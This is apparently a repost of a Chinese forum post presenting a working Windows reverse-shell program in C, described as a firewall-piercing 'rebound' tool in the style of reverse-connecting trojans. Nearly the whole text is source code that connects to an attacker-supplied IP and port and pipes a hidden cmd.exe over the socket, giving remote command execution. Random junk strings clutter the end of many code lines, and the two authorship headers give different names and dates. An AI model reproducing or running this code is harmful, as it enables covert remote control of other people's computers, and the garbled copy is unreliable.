Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 {i<L<Y(3  
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/* ============================== ~v@.YJoZ4Z  
Rebound port in Windows NT )%JjV(:  
By wind,2006/7 HIqe~Vc  
===============================*/ 
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#include j6d{r\!$4  
#include *snY|hF  
%$<v:eMAs  
#pragma comment(lib,"wsock32.lib") XI'.L ~  
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void OutputShell(); %oOSmt  
SOCKET sClient; OwN~-).%-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P67*-Ki  
I]z4}#+cX  
void main(int argc,char **argv) hg7_ZjO  
{ oe*fgk/o9  
WSADATA stWsaData; 3:aj8F2
 
int nRet; QQ/9ZI5  
SOCKADDR_IN stSaiClient,stSaiServer; (kVxa8 0  
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if(argc != 3) !GJT-[  
{ Q5&|1m Pb  
printf("Useage:\n\rRebound DestIP DestPort\n"); >l b9j>  
return; W%1/:_  
} k?}y@$[)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6`@6k2]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q%/\  
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stSaiClient.sin_family = AF_INET; m f\tMik<  
stSaiClient.sin_port = htons(0); nKmf#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '=+gweM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @8Cja.H  
{ <M,<|Y*)  
printf("Bind Socket Failed!\n"); ?L|Ai\|  
return; 0Q~\1D 9g  
} ^)o#/"JA  
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stSaiServer.sin_family = AF_INET; }ww`Y&#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 19:1n]*X<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?jU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E&ReQgBf
t  
{ -nZDFC8y$  
printf("Connect Error!"); R_=fH\c;  
return; _ mgu r  
} p@?ud%  
OutputShell(); *Oq&g\K)  
} F;MACu;x  
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void OutputShell() ,ZZ5A;)  
{ h05BZrE  
char szBuff[1024]; YB_fy8Tfx  
SECURITY_ATTRIBUTES stSecurityAttributes; l15Z8hYhj  
OSVERSIONINFO stOsversionInfo; 6H!l>@a7v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yb-4[C:i  
STARTUPINFO stStartupInfo; @zJiR{Je-U  
char *szShell; wn.UjxX.  
PROCESS_INFORMATION stProcessInformation; \"X_zM  
unsigned long lBytesRead; #"-DE-I[  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `NyO|9/4
 
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w}YcAnuB{%  
stSecurityAttributes.lpSecurityDescriptor = 0; R1Fcd@DWD  
stSecurityAttributes.bInheritHandle = TRUE; }((P)\s
  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N+vsQ!Qz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z2jS(N?J1  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "g/UpnH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K."W/A!  
stStartupInfo.wShowWindow = SW_HIDE; |9[)-C~N7  
stStartupInfo.hStdInput = hReadPipe; /2cn`dR,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wauM|/KG  
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GetVersionEx(&stOsversionInfo); T[-Tqi NT  
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switch(stOsversionInfo.dwPlatformId) v <m=g!  
{ DG,m;vg+  
case 1: '8LHX6FXK  
szShell = "command.com"; F5H]$AjW  
break; Q6p75$SVq  
default: R8Dn 
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szShell = "cmd.exe"; 0S\HO<~k  
break; <.ZD.u  
} [KMS/'; ]  
{>3w"(f7o  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Bw.?Me)mf|  
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send(sClient,szMsg,77,0); eI@G B  
while(1) P!!:p2fo  
{ U%KgLg#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [4-u{Tu  
if(lBytesRead) JmuoYlf|  
{ ! QKec  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L>rW S-  
send(sClient,szBuff,lBytesRead,0); Mn*5oH  
} uFG ;AY|  
else 0xV[C4E[6  
{ LAGg(:3f3  
lBytesRead=recv(sClient,szBuff,1024,0); b~?3HY:t~K  
if(lBytesRead<=0) break; C9j5Pd5q1L  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "uBr]N:  
} :eBp`dmn  
} \wp8kSzC  
%1M!4**W  
return; 7U-?Rd  
}